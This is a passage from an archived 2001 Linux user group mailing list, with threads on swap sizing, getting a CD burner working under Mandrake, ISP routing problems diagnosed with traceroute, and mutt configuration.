http://www.uwsg.indiana.edu/hypermail/linux/kernel/0108.1/0594.html http://kt.zork.net/kernel-traffic/kt20010618_122.html#1 Andy On Wed, 15 Aug 2001, Bob Tanner wrote: > Quoting Jay Kline (list@slushpupie.com): > > I agree.. I have found that even with 384M memory I almost never touch swap, > > and that is with several X servers running (those little memory hogs).. 128M > > swap is what I have, I found anything more than that is wasted space. > > % free > total used free shared buffers cached > Mem: 516952 438608 78344 176652 75208 161940 > -/+ buffers/cache: 201460 315492 > Swap: 546048 466048 538300 > > From awolkoff at visi.com Wed Aug 15 18:53:04 2001 From: awolkoff at visi.com (Adam Wolkoff) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <20010815174317.B8219@lemongecko.org> References: <20010815223049.BA86B7A926@visi.com> <20010815174317.B8219@lemongecko.org> Message-ID: <20010815235304.9CC727A926@visi.com> Dan writes: > On Wed, Aug 15, 2001 at 10:30:49PM +0000, Adam Wolkoff wrote: > They're not. Trust me on this one. :) >> I simply cannot get access to my CD burner. [...] >> However when I go to access something on the drive I am told I do not have >> access rights to this location (even when logged in as root). > > This sounds like a SCSI emulation problem. < snip> > SCSI emulation, if you don't already know, is a way to get an IDE drive to OK > What's the error message you get? I'm not sure what "access rights to a > location" exactly means. > There are two flavors. If I try to access the drive vin konqueror, I'm told "unable to enter file :/mnt/cdrom2. You do not have access rights to this location." If I try to access the drive via a desktop shortcut I get "could not enter directory /mnt/cdrom2" Regards, TeamStrange By: Adam Wolkoff Vice President, Special Projects adam@teamstrange.com http://www.teamstrange.com From jpschewe at mtu.net Wed Aug 15 19:02:06 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <200108151617.LAA25136@zjod.net> References: <200108151617.LAA25136@zjod.net> Message-ID: sos@zjod.net (Steve Siegfried) writes: > Jon Schewe wrote: > > > > I've solved the nameserver issues by running my own nameserver. I've given up > > on theirs. > > > > And are you still unable to reach some sites, or did this cure the problem? > > Curious minds want to know'ildy, Didn't help. I've been running my own nameserver for the past 6 years, never used the one off any ISP, because they generally suck. Still can't get to the sites. As I noted earlier, it shouldn't be a DNS issue, unless the sites are doing reverse lookups because I can ping them and telnet to other ports successfully, but I can't telnet to port 80. -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From list at slushpupie.com Wed Aug 15 19:04:01 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <20010815235304.9CC727A926@visi.com> References: <20010815223049.BA86B7A926@visi.com> <20010815174317.B8219@lemongecko.org> <20010815235304.9CC727A926@visi.com> Message-ID: <01081519040101.11468@friday.tarsk.com> First, I want to make sure I understand what you are doing. Are you trying to just read off any 'ole CD you have laying around? Or are you trying to create a new CD? As of right now, Konquerer does not support CD writing, you need other tools to do that (much like in windows- only they are free and you most likely already have them installed). If you are just trying read your CD rom, it would help to have some more information. As was suggested, it may be a SCSI emulation problem. From a console or terminal of your choice, type: ls -l /dev/cdrom2 And report back what you see. If it says something like /dev/hdd or /dev/hdX then you are not using SCSI emulation. Or at least fstab dosnt know about it. If it says something like /dev/scd0 or /dev/scdX then it is trying to use a SCSI (emulation) device. In either case, fstab may not be correct for your configuration. This seems unlikely as you have a default Mandrake install, and it normally handles things like this very well. Jay On Wednesday 15 August 2001 6:53 pm, you wrote: > Dan writes: > > On Wed, Aug 15, 2001 at 10:30:49PM +0000, Adam Wolkoff wrote: > > They're not. Trust me on this one. :) > > > > >> I simply cannot get access to my CD burner. [...] > >> However when I go to access something on the drive I am told I do not > >> have access rights to this location (even when logged in as root). > > > > This sounds like a SCSI emulation problem. < > > snip> > > > SCSI emulation, if you don't already know, is a way to get an IDE drive > > to > > OK > > > What's the error message you get? I'm not sure what "access rights to a > > location" exactly means. > > There are two flavors. > If I try to access the drive vin konqueror, I'm told "unable to enter file > > :/mnt/cdrom2. You do not have access rights to this location." > > If I try to access the drive via a desktop shortcut I get "could not enter > directory /mnt/cdrom2" > > Regards, > > TeamStrange > By: Adam Wolkoff > Vice President, Special Projects > adam@teamstrange.com > http://www.teamstrange.com > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jay Kline list@slushpupie.com http://www.slushpupie.com Talk is cheap because supply always exceeds demand. From tanner at real-time.com Wed Aug 15 19:33:05 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: ; from natecars@real-time.com on Wed, Aug 15, 2001 at 11:13:36AM -0500 References: <20010815101918.B19402@localhost> Message-ID: <20010815193305.J6932@real-time.com> Quoting Nate Carlson (natecars@real-time.com): > Hmm.. isn't the rule of thumb to have double the swap than you have > memory? > > IIRC, there are some good reasons for this, that I'm sure Carl can detail > when he gets back from vacation. > > Oh, and if you work here, 512mb isn't enough. You run out quick. :) And doubling swap allows you double your RAM without having to repartition. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Aug 15 19:35:16 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815113806.A3422@madoka.tatsumaki.org>; from rob@tatsumaki.org on Wed, Aug 15, 2001 at 11:38:06AM -0500 References: <20010815113806.A3422@madoka.tatsumaki.org> Message-ID: <20010815193516.K6932@real-time.com> Quoting Rob Bajorek (rob@tatsumaki.org): > > Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard under > > RedHat 7.0. > > I have a similiar issue. People on the StarOffice forums said the problem is > that SO doesn't play nice with my video card (S3 Savage IX). The fix I got > is: > > export SAL_DO_NOT_USE_INVERT50=true I installed OpenOffice build 633 and it works like a charm as well. It's been a solid performer for me, but Spencer(?) says it crashes on him constantly on all platforms. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From lxy at cloudnet.com Wed Aug 15 19:41:31 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] Pico Message-ID: I think I found a bug in RH6.2's version of Pico. Has to do with line wrapping. I've since discovered Bob? Likes? orange? flower? what? three? where? george? Dangit... still there. That's a long line, it should just wrap george onto another line. Is it supposed to do this? I grabbed the latest pine build (4.33) and I was hoping it would fix it. Looks like it didn't :-( -Brian From tanner at real-time.com Wed Aug 15 19:44:43 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815131035.A21135@localhost>; from thudak@sistina.com on Wed, Aug 15, 2001 at 01:10:35PM -0500 References: <20010815101918.B19402@localhost> <20010815131035.A21135@localhost> Message-ID: <20010815194443.M6932@real-time.com> Quoting Tom Hudak (thudak@sistina.com): > >Oh, and if you work here, 512mb isn't enough. You run out quick. :) > What the hell are you guys doing that's killing 512M on a workstation?? I can > open vmware w/ 128 of my 384 dedicated to it, and still play quake w/ minimal > swap activity. Star Office, Mozilla (many, many windows), Emacs, xchat, gabber, many, many xterms (one to each box on Real Time's network), Ximian GNOME (ouch!), X4 w/xinerama, lots of VNC sessions, usually compiling something, be it new RPMs for clients, new kernels, new Open Office build, new Enhydra, new Mozilla, etc. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From nate at techie.com Wed Aug 15 19:49:55 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] sender In-Reply-To: <20010815165930.C20631@mudpiefoods.com>; from spencer@sihope.com on Wed, Aug 15, 2001 at 04:59:30PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> Message-ID: <20010815194955.C3223@candle.mn.mediaone.net> On Wed, Aug 15, 2001 at 04:59:30PM -0500, SpencerUnderground wrote: > I have a problem in my .muttrc. > I am sure you have all noticed it. > For some reason the sender line gets confused with the to line. > I know this is a simple problem. I don't want to break (again) mutt. > Any clues on the matter will be appreciated. I'm not sure what you mean, Spencer. What do you mean mutt is getting confused? Just FYI, here are the settings from my .muttrc that pertain to this list. mailboxes =tclug # procmail saves TCLUG mail to it's own mailbox subscribe tclug-list # Tells mutt I'm subscribed to the list That's really all I have. With these settings when I hit "list-reply" (default is 'L') I reply directly to the list. When I hit "reply" (default is 'r') I reply directly to who sent the message. Nate From awolkoff at visi.com Wed Aug 15 21:03:15 2001 From: awolkoff at visi.com (Adam Wolkoff) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <01081519040101.11468@friday.tarsk.com> References: <20010815223049.BA86B7A926@visi.com> <20010815174317.B8219@lemongecko.org> <20010815235304.9CC727A926@visi.com> <01081519040101.11468@friday.tarsk.com> Message-ID: <20010816020315.C93907A926@visi.com> Jay Kline writes: > First, I want to make sure I understand what you are doing. Are you trying > to just read off any 'ole CD you have laying around? Yep. > create a new CD? As of right now, Konquerer does not support CD writing, you > need other tools to do that (much like in windows- only they are free and you > most likely already have them installed). Yes. I figured I'd read before writing... If you are just trying read your > CD rom, it would help to have some more information. As was suggested, it > may be a SCSI emulation problem. From a console or terminal of your choice, > type: > > ls -l /dev/cdrom2 > > And report back what you see. /dev/cdrom2 -> scd0 just for kicks, I did the same thing for the dvd drive and was rewarded with: /dev/cdrom -> hdc Regards, TeamStrange By: Adam Wolkoff Vice President, Special Projects adam@teamstrange.com http://www.teamstrange.com From hick0088 at tc.umn.edu Wed Aug 15 21:22:02 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815101918.B19402@localhost> References: <20010814053051.A18164@real-time.com> <20010814210941.592b5ff8.hick0088@tc.umn.edu> <20010814211432.A15896@real-time.com> <20010815101918.B19402@localhost> Message-ID: <20010815212202.2eac2cea.hick0088@tc.umn.edu> Tom Hudak wrote: > > On Tue, Aug 14, 2001 at 09:14:32PM -0500, Bob Tanner wrote: > >I got 512Mb RAM and 1.0Gb of swap. So I doubt it. > GAH!!!! Get rid of that much swap!!! with 512 Meg of ram you shouldn't > even touch the swap! (Remember, the whole idea behind it is that RAM was > expensive, much more so that disk space for equivalent sizes so dump > some stuff that was intended for RAM to disk when it's not a high > priority etc.) There's no reason I see to get rid of the swap. Linux has been showing some poor out-of-memory behaviors lately anyway, so the more swap the better, IMHO. Certainly, swap isn't there to be used as RAM, but if you have plenty of processes that don't need to be always active (or only parts of them are active), swap is a great benefit. If you're away from the computer, not using the web browser, then it's perfectly legitimate to expect it to get swapped out so a compile going in the background can use more real memory. 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Is it possible to copy and paste from two termial sessions in kde? Thanks John Miller From hick0088 at tc.umn.edu Wed Aug 15 21:31:00 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:23 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <005f01c125a8$54b16590$79732ad0@further> References: <005f01c125a8$54b16590$79732ad0@further> Message-ID: <20010815213100.1287a7d3.hick0088@tc.umn.edu> "Michael Fraase" wrote: > > I've never yet restored anything but our Macs completely from a backup > set (with Windows it's just easier to reformat/reinstall) but I'm > regularly pulling single files and directories from the tapes. Probably unrelated question, as I suppose you aren't running MacOS X.. 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I don't want to break (again) mutt. > > Any clues on the matter will be appreciated. > > I'm not sure what you mean, Spencer. What do you mean mutt is getting > confused? > > Just FYI, here are the settings from my .muttrc that pertain to this > list. > > mailboxes =tclug # procmail saves TCLUG mail to it's own mailbox > subscribe tclug-list # Tells mutt I'm subscribed to the list > > That's really all I have. With these settings when I hit "list-reply" > (default is 'L') I reply directly to the list. When I hit "reply" > (default is 'r') I reply directly to who sent the message. To try and clear up what I mean. When view my inbox, I see the date the score the number the subject the sender etc.. When I view mail I originated, the sender portion reads 'to tclug-list'. So, instead of seeing SpencerUnderground, I see the to line. I can only assume that it must appear the same in other mail agents. From dan at williamsongraphics.com Wed Aug 15 22:38:53 2001 From: dan at williamsongraphics.com (dan williamson) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] Re: Newbie intro and question (or How to get your Fsckin' cd burner to work under Mandrake) Message-ID: <01081522385303.01923@morpheus.hellnet> This page should help you to get your burner up and running under 8.0. Although it says it's for 7.2, I followed it exactly and can burn cd's under Mandrake no problem, rather simple actually. mandrakeuser.org is a real good resource for all things Mandrake. http://www.mandrakeuser.org/docs/hardware/hremov3.html Here's a quick question for anyone who burns cd's under Linux: Can you use other programs while burning or does it hog all the resources like Windoze? Sometimes, I just have too many things to do than to wait for a cd to finish burning to get my work done. Dan From thomas at stderr.net Wed Aug 15 22:42:14 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] sender In-Reply-To: <20010815212855.A21279@mudpiefoods.com>; from spencer@sihope.com on Wed, Aug 15, 2001 at 09:28:55PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> Message-ID: <20010816054214.A67847@io.stderr.net> On Wed, Aug 15, 2001 at 09:28:55PM -0500, SpencerUnderground wrote: > To try and clear up what I mean. > When view my inbox, I see the date the score the number the subject the sender etc.. > When I view mail I originated, the sender portion reads 'to tclug-list'. So, instead of seeing SpencerUnderground, I see the to line. > I can only assume that it must appear the same in other mail agents. That is the way it appears in mutt when you see a mail authored by yourself. It looks right to everybody else, which means it's just something to catch your attention. -- Thomas Eibner DnsZone mod_pointer From thomas at stderr.net Wed Aug 15 22:48:30 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] sender In-Reply-To: <20010816054214.A67847@io.stderr.net>; from thomas@stderr.net on Thu, Aug 16, 2001 at 05:42:14AM +0200 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816054214.A67847@io.stderr.net> Message-ID: <20010816054830.A68414@io.stderr.net> On Thu, Aug 16, 2001 at 05:42:14AM +0200, Thomas Eibner wrote: > On Wed, Aug 15, 2001 at 09:28:55PM -0500, SpencerUnderground wrote: > > To try and clear up what I mean. > > When view my inbox, I see the date the score the number the subject the sender etc.. > > When I view mail I originated, the sender portion reads 'to tclug-list'. So, instead of seeing SpencerUnderground, I see the to line. > > I can only assume that it must appear the same in other mail agents. > > That is the way it appears in mutt when you see a mail authored by > yourself. It looks right to everybody else, which means it's just > something to catch your attention. Let me add to that: at least that's what I've experienced in the INBOX, not my other folders. -- Thomas Eibner DnsZone mod_pointer From spencer at sihope.com Wed Aug 15 22:36:44 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] sender In-Reply-To: <20010816054214.A67847@io.stderr.net>; from thomas@stderr.net on Thu, Aug 16, 2001 at 05:42:14AM +0200 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816054214.A67847@io.stderr.net> Message-ID: <20010815223644.A21350@mudpiefoods.com> > That is the way it appears in mutt when you see a mail authored by > yourself. It looks right to everybody else, which means it's just > something to catch your attention. Thanks, I could have sworn that once upon a time I was able to see my name in my inbox. Must be a vanity issue. > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From list at slushpupie.com Wed Aug 15 22:42:53 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <20010816020315.C93907A926@visi.com> References: <20010815223049.BA86B7A926@visi.com> <01081519040101.11468@friday.tarsk.com> <20010816020315.C93907A926@visi.com> Message-ID: <01081522425302.11468@friday.tarsk.com> On Wednesday 15 August 2001 9:03 pm, you wrote: > > it may be a SCSI emulation problem. From a console or terminal of your > > choice, type: > > > > ls -l /dev/cdrom2 > > > > And report back what you see. > > /dev/cdrom2 -> scd0 > > just for kicks, I did the same thing for the dvd drive and was rewarded > with: > /dev/cdrom -> hdc > Ok, this means more than likely you have SCSI emulation set up, only for your cd burner, and your DVD drive is plain IDE. Try this next, from a console or terminal, type: ls -ld /mnt/cdrom2 and see what the permissions are. You should see something like "drwxrwxr-x 2 root root 4096 Oct 9 1998 /mnt/cdrom2" The important part the the first. You should see "drwxrwxr-x" and not something like "-rw-rw-r--". The key here is the first letter. If it is a d, then it is a directory. if it is a - then it is a regular file. It should be a directory, and something got messed up if its not. The next important part is the following letters. It is 3 sets of rwx (read,write,execute) for the permissions. If there is a dash in place of the letter, it means that permission isnt set. For this particular directory, it should have at least r-x. There are HOWTO's out there for more explaination of what it means. The other thing is the "supermount" part in fstab. When things arnt working right, you should turn that off. To turn that off, do this: umount /mnt/cdrom2 #this may or may not do anything Then edit fstab- comment out the line for /mnt/cdrom2 (just put a # in front of the line) Now, put a CD in the drive that you know is good. To mount it manually, type: mount /dev/cdrom2 /mnt/cdrom2 And let us know what the output for that is. If there is no output, then do this: cd /mnt/cdrom2 ls * and give the output of that. -- Jay Kline list@slushpupie.com http://www.slushpupie.com There is no such thing as fortune. Try again. From esper at sherohman.org Wed Aug 15 23:00:41 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] sender In-Reply-To: <20010816054830.A68414@io.stderr.net>; from thomas@stderr.net on Thu, Aug 16, 2001 at 05:48:30AM +0200 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816054214.A67847@io.stderr.net> <20010816054830.A68414@io.stderr.net> Message-ID: <20010815230041.B10323@sherohman.org> On Thu, Aug 16, 2001 at 05:48:30AM +0200, Thomas Eibner wrote: > Let me add to that: at least that's what I've experienced in the INBOX, > not my other folders. It applies to all mailboxes under the default configuration. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From sos at zjod.net Wed Aug 15 23:04:18 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: from "Jon Schewe" at Aug 15, 2001 07:02:06 PM Message-ID: <200108160404.XAA20116@zjod.net> Jon, After your last posting, I did a little extra homework on this. The sites you'd originally complained about as "coming and going" were: http://slashdot.org http://slashdot.com http://www.air1.com http://linuxgazette.com http://www.csc.calpoly.edu Note that an nslookup on slashdot.org and slashdot.com map to the same ip address. Note also that, as I gathered the data below, it's about 10:30pm CDT and I'm on an AT&T Broadband cable modem in Mendota Heights. Data: http://slashdot.{org,com} appear to have problems responding to traceroutes, but only after leaving *.ip.att.net on routes owned by "exodus.net" (starting at hop 14, see http://www.exodus.net for details). Presently slashdot.org is NOT responding to pings and traceroutes never resolve, all due to a problem somewhere within exodus.net. www.air1.com at 209.67.75.64 is 15 hops away, and is presently responding to pings pretty consistently between 55 and 59ms with no dropped. packets. Tracrouting this site hangs can sometime "hang" for a while (in real time) somewhere in exodus.net (at or near the same router that's having trouble finding slashdot.org). http://linuxgazette.com at 64.39.18.140 is 16 hops away, and is presently responding to pings pretty consistently between 32 and 49ms with no dropped packets. http://www.csc.calpoly.edu at 129.65.241.3 is 22 hops away and is presently responding to pings pretty consistently between 110 and 130ms, also with no dropped packets. Conclusion: AT&T (in the guise of *.mediaone.net and *.att.net) appear to have their internal house pretty much in order, but rely on external connections to non-AT&T networks that are less than fully stable. -S Jon Schewe wrote: > > sos@zjod.net (Steve Siegfried) writes: > > > Jon Schewe wrote: > > > > > > I've solved the nameserver issues by running my own nameserver. I've given up > > > on theirs. > > > > > > > And are you still unable to reach some sites, or did this cure the problem? > > > > Curious minds want to know'ildy, > > Didn't help. I've been running my own nameserver for the past 6 years, never > used the one off any ISP, because they generally suck. Still can't get to the > sites. As I noted earlier, it shouldn't be a DNS issue, unless the sites are > doing reverse lookups because I can ping them and telnet to other ports > successfully, but I can't telnet to port 80. > From thomas at stderr.net Wed Aug 15 23:18:57 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <200108160404.XAA20116@zjod.net>; from sos@zjod.net on Wed, Aug 15, 2001 at 11:04:18PM -0500 References: <200108160404.XAA20116@zjod.net> Message-ID: <20010816061857.B68414@io.stderr.net> On Wed, Aug 15, 2001 at 11:04:18PM -0500, Steve Siegfried wrote: > > Jon, > > After your last posting, I did a little extra homework on this. > > The sites you'd originally complained about as "coming and going" were: > http://slashdot.org > http://slashdot.com > http://www.air1.com > http://linuxgazette.com > http://www.csc.calpoly.edu > > Note that an nslookup on slashdot.org and slashdot.com map to the same ip > address. > > Note also that, as I gathered the data below, it's about 10:30pm CDT and > I'm on an AT&T Broadband cable modem in Mendota Heights. > > > Data: > > http://slashdot.{org,com} appear to have problems responding to traceroutes, > but only after leaving *.ip.att.net on routes owned by "exodus.net" (starting > at hop 14, see http://www.exodus.net for details). Presently slashdot.org is > NOT responding to pings and traceroutes never resolve, all due to a problem > somewhere within exodus.net. > > www.air1.com at 209.67.75.64 is 15 hops away, and is presently responding > to pings pretty consistently between 55 and 59ms with no dropped. packets. > Tracrouting this site hangs can sometime "hang" for a while (in real time) > somewhere in exodus.net (at or near the same router that's having trouble > finding slashdot.org). > > http://linuxgazette.com at 64.39.18.140 is 16 hops away, and is presently > responding to pings pretty consistently between 32 and 49ms with no dropped > packets. > > http://www.csc.calpoly.edu at 129.65.241.3 is 22 hops away and is presently > responding to pings pretty consistently between 110 and 130ms, also with no > dropped packets. > > Conclusion: > > AT&T (in the guise of *.mediaone.net and *.att.net) appear to have their > internal house pretty much in order, but rely on external connections to > non-AT&T networks that are less than fully stable. Mediaone (AT&T) in New Brighton Area here. I have a box in Denmark that I basically connect to 12 hours a day, connection goes over alter.net and the last two days have been horrible, right now as I am typing the keystroke lag is sometimes over 2 seconds long. Sometimes the connection just dies. It seems out of control of att, but it's just to unstable for to use for ssh when I work on the other side of the Globe. -- Thomas Eibner DnsZone mod_pointer From list at slushpupie.com Wed Aug 15 23:12:22 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <200108160404.XAA20116@zjod.net> References: <200108160404.XAA20116@zjod.net> Message-ID: <01081523122203.11468@friday.tarsk.com> On Wednesday 15 August 2001 11:04 pm, you wrote: > http://slashdot.{org,com} appear to have problems responding to > traceroutes, but only after leaving *.ip.att.net on routes owned by > "exodus.net" (starting at hop 14, see http://www.exodus.net for details). > Presently slashdot.org is NOT responding to pings and traceroutes never > resolve, all due to a problem somewhere within exodus.net. Actuly, if you recall back to when slashdot when down, they told alittle about their network setup. One of the things the mentioned was their firewall eats pings (they block those types of ICMP packets or something). Because of that you should NEVER be able to ping them. That dosnt mean they are a dead- it just means you cant ping them. Traceroute uses the ping ICMP packets, so it would make sence it wouldnt resolve either -- Jay Kline list@slushpupie.com http://www.slushpupie.com Some people's mouths work faster than their brains. They say things they haven't even thought of yet. From dieman+tclug at ringworld.org Wed Aug 15 23:38:29 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] Pico In-Reply-To: References: Message-ID: <20010815233829.B11305@ringworld.org> * Brian [010815 19:42]: > I've since discovered > Bob? Likes? orange? flower? what? three? where? george? Use nano! It wraps it correctly. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From list at slushpupie.com Wed Aug 15 23:29:19 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:24 2005 Subject: [TCLUG] Pico In-Reply-To: <20010815233829.B11305@ringworld.org> References: <20010815233829.B11305@ringworld.org> Message-ID: <01081523291904.11468@friday.tarsk.com> On Wednesday 15 August 2001 11:38 pm, you wrote: > * Brian [010815 19:42]: > > I've since discovered > > Bob? Likes? orange? flower? what? three? where? george? > > Use nano! It wraps it correctly. Hey now.. lets not start the whole pico,nano,emacs,xemacs,vi holly war..... -- Jay Kline list@slushpupie.com http://www.slushpupie.com You know you're getting old when you're Dad, and you're measuring your daughter for camp clothes, and there are certain measurements only her mother is allowed to take. From nate at techie.com Wed Aug 15 23:52:14 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] sender In-Reply-To: <20010815223644.A21350@mudpiefoods.com>; from spencer@sihope.com on Wed, Aug 15, 2001 at 10:36:44PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816054214.A67847@io.stderr.net> <20010815223644.A21350@mudpiefoods.com> Message-ID: <20010815235213.A32018@candle.mn.mediaone.net> On Wed, Aug 15, 2001 at 10:36:44PM -0500, SpencerUnderground wrote: > > > That is the way it appears in mutt when you see a mail authored by > > yourself. It looks right to everybody else, which means it's just > > something to catch your attention. > > Thanks, I could have sworn that once upon a time I was able to see my > name in my inbox. Must be a vanity issue. Take a look at the mutt manual, section 6.3.73, index_format. It describes how to customize the message list/index. There is a lot of stuff you can do to it. I didn't like the default so here is what I changed it to. set index_format="%Z %[%m/%d %H:%M] %-15.15F %s" It's a nice, terse format that I use. Essentially it's just the flags, the date, the author of the message (or who I sent it to) and the subject. I didn't like seeing the list the message came from since I usually filter mailing lists out to their own mailbox with procmail. Speaking of procmail... no, you can't put procmail recipes in your .muttrc. I was just noting why I was defining another mailbox for mutt to look at. Nate From tanner at real-time.com Thu Aug 16 00:20:36 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] sender In-Reply-To: <20010815212855.A21279@mudpiefoods.com>; from spencer@sihope.com on Wed, Aug 15, 2001 at 09:28:55PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> Message-ID: <20010816002036.B25875@real-time.com> Quoting SpencerUnderground (spencer@sihope.com): > > mailboxes =tclug # procmail saves TCLUG mail to it's own mailbox > > subscribe tclug-list # Tells mutt I'm subscribed to the list What does the mailboxes do exactly? I looked on mutt.org (quickly) and did not find anything. I know it makes a folder look like incoming mail, but how do you use it? What are the advantages? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From markbrowne at mn.mediaone.net Thu Aug 16 00:19:23 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] tclug and attachments References: <20010815223049.BA86B7A926@visi.com> <01081519040101.11468@friday.tarsk.com> <20010816020315.C93907A926@visi.com> <01081522425302.11468@friday.tarsk.com> Message-ID: <000301c12613$0658c6c0$6601a8c0@zippy> I have noticed that some list members sent mail with the main part of the message as an attachment. Most of the time this is just fine but I can't see the message when I pick it up with my palm pilot. Likewise, sending with HTML format (the default for most Micro$oft programs) can be a real pain for some readers. (On the plus side - it allows colors, fancy fonts, blah- blah-blah for mail readers that can see this format) This link discusses these issues and describe how to set come common mail programs to send plain text. http://www.geocities.com/CapitolHill/1236/nomime.html#examples I'm sure there are much better links but this was the first relevant hit on www.alltheweb.com. Mark Browne From dieman+tclug at ringworld.org Thu Aug 16 01:03:57 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] Pico In-Reply-To: <01081523291904.11468@friday.tarsk.com> References: <20010815233829.B11305@ringworld.org> <01081523291904.11468@friday.tarsk.com> Message-ID: <20010816010357.C11305@ringworld.org> * Jay Kline [010815 23:43]: > Hey now.. lets not start the whole pico,nano,emacs,xemacs,vi holly war..... You missed joe, jed, vim, nvi, and ed! -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Thu Aug 16 01:04:42 2001 From: 